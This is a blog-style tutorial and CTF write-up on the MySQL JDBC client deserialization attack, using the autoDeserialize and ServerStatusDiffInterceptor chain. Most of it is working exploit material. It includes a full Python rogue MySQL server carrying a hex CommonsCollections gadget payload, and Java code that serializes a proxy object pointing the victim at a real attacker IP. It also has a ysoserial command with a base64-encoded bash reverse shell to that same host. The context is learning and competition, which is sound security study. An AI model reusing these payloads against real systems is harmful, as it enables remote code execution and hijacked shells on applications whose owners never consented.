MySQL JDBC client (connector 8.x) deserialization vulnerability learning

MySQL JDBC Deserialization Vulnerability

The earliest suggestion should be a topic in the BlackHat Europe 2019 conference. The picture below is a screenshot of the machine flip.

insert image description here
insert image description here

JDBC is a Java API that defines how clients access databases. JDBC is an interface, and JDBC Driver is the implementation of the interface. The following picture is an example on the rookie tutorial
insert image description here

Principle analysis

The first is the first exploitable parameter autoDeserialize in the connected url, which is also the deserialization point of the vulnerability. The objIn.readObject() located in com.mysql.cj.jdbc.result.ResultSetImpl.getObject()
is a bunch of If the judgment statement meets the conditions, it will be deserialized. The main condition is that autoDeserialize is turned on, and the data type is binary or Blob. If it is serialized data, readObject (the first two bytes of the serialized object in Java are -84 and -19)
insert image description here

The following is the calling point of this method, which is also the reason for setting the second parameter queryInterceptors. com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor is an interceptor. When the attribute queryInterceptors is set to ServerStatusDiffInterceptor in the JDBC URL, the query statement will be executed. The preProcesssum method of the interceptor is called, and postProcessthe two goods will be called againpopulateMapWithSessionStatusValues方法
insert image description here

populateMapWithSessionStatusValues方法, which is called after getting SHOW SESSION STATUSthe query result of the statementResultSetUtil.resultSetToMap静态方法

insert image description here

Continue to follow up resultSetToMap方法, there is getObject方法a call to (deserialization point), pay attention to the value of the columnindex parameter, and two columns are required in the subsequent payload
insert image description here

The final attack chain is as follows
insert image description here

jdbc:mysql://attacker/db?
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
&autoDeserialize=true

Use python to build malicious MySQL service

The implementation of fnmsd supports both ServerStatusDiffInterceptor and detectCustomCollations . The implementation in
Tri0mphe's article is more suitable for novice learning. Specifically, it only responds to "SHOW SESSION STATUS", and only needs to capture and analyze the response packet. According to the official document, imitate its The structure is enough, and there is no need to deeply understand the MySQL private protocol.
insert image description here

The structure of the official example result set response packet is shown in the figure
insert image description here

Exp

(Add a note to the exp in the article for easy understanding):

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))
        # 响应初始查询
        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
                # 响应随后而来的"SHOW WARNINGS"
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
                # 特殊响应"SHOW SESSION STATUS" 发送payload的位置,
            if "show session status" in data:
                mysql_data = '0100000102'  # Protocol::LengthEncodedInteger 结果集有多少列
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'  # Protocol::ColumnDefinition 列的定义
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'  # EOF_Packet的位置,这里重发了一遍ColumnDefinition只是修改了序列号为03
                # 为什么我加了EOF Packet 就无法正常运行呢??


                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]

                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex  # ProtocolText::ResultsetRow 结果集
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100' #  EOF_Packet的位置
                send_data(conn, mysql_data)
                data = receive_data(conn)
                #特殊响应随后而来的"SHOW WARNINGS"
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

Example: [Yangcheng Cup 2020] A Piece Of Java

Keywords: Java deserialization, JDBC and MySQL deserialization utilization The
code logic is very straightforward, the hello route will decode and deserialize the cookie
insert image description here

The tools used for searching can be seen to introduce commons-collections, https://mvnrepository.com/artifact/org.nibblesec/serialkiller/3.0
insert image description here
insert image description here

But the whitelist is set, and the cc chain cannot be used directly.
insert image description here

The hello route is also called after deserialization info.getAllInfo(). ctrl+H searches for the implementation of the interface, and goes to the DatabaseInfoclass. It getAllInfo()is just a simple character splicing, but there is another one checkALLInfo方法here that directly splices the username and so on, and the call connect方法can be made. jdbc deserialization
insert image description here

Through the global search to find the calling method, you can see that the InfoInvocationHandler(Info proxy class) also implements the Serializable interface and can be serialized. Its invoke method will call the method
of this.info (the incoming info class is Databaseinfo)checkALLInfo
insert image description here

When serialized, it will be packaged Databaseinfoi.getAllInfoby InfoInvocationHandlerdynamic proxy and then serialized, and it will be triggered when deserialized

info.getAllinfo()->InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()

exp

import gdufs.challenge.web.model.*;
import gdufs.challenge.web.invocation.InfoInvocationHandler;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class Myexp {
    
    
    public static void main(String[] args) throws Exception{
    
    
        /*
         * databaseinfo * */
        DatabaseInfo databaseinfo=new DatabaseInfo();
        databaseinfo.setHost("118.31.76.240");
        databaseinfo.setPort("7777");
        databaseinfo.setUsername("root");
        databaseinfo.setPassword("root&userSSL=false&autoDeserialize=true&allowPublicKeyRetrieval=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        /*
         * infoInvocationHandler * */
        InfoInvocationHandler infoInvocationHandler=new InfoInvocationHandler(databaseinfo);
        /*
         * info */
        Info info=(Info)Proxy.newProxyInstance(databaseinfo.getClass().getClassLoader(),databaseinfo.getClass().getInterfaces(), infoInvocationHandler);
        /*
         * 接下来按照源代码序列化的info用base64打出来
         * */
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(info);
        objectOutputStream.close();

        String str=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
        System.out.println(str);
    }
}

reflection exp

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
    
    
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
    
    
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static byte[] serialize(Object o) throws Exception{
    
    
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
    
    
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
    
    public static void main(String[] args) throws Exception {
    
    
        Info databaseInfo = new DatabaseInfo();
        setFieldValue(databaseInfo, "host", "118.31.76.240");
        setFieldValue(databaseInfo, "port", "7777");
        setFieldValue(databaseInfo, "username", "any");
        setFieldValue(databaseInfo, "password", "any&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Info.class);
        construct.setAccessible(true);
        InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo);
        Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {
    
    Info.class}, handler);
        byte[] bytes = serialize(proxinfo);
        byte[] payload = Base64.getEncoder().encode(bytes);
        System.out.print(new String(payload));
    }
}

The malicious MySQL server directly uses the above one
to generate the payload in the Linux java1.8 environment

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExOC4zMS43Ni4yNDAvNzk5OSAwPiYx}|{base64,-d}|{bash,-i}" > payload

Then start the malicious server, put the payload file in the same directory, and send the package directly to postman

insert image description here
insert image description here
insert image description here
insert image description here

reference:

https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
https://xz.aliyun.com/t/8159
https://paper.seebug.org/1227/
https://blog.csdn.net/fmyyy1/article/details/12270676

Guess you like

Origin blog.csdn.net/weixin_43610673/article/details/123725676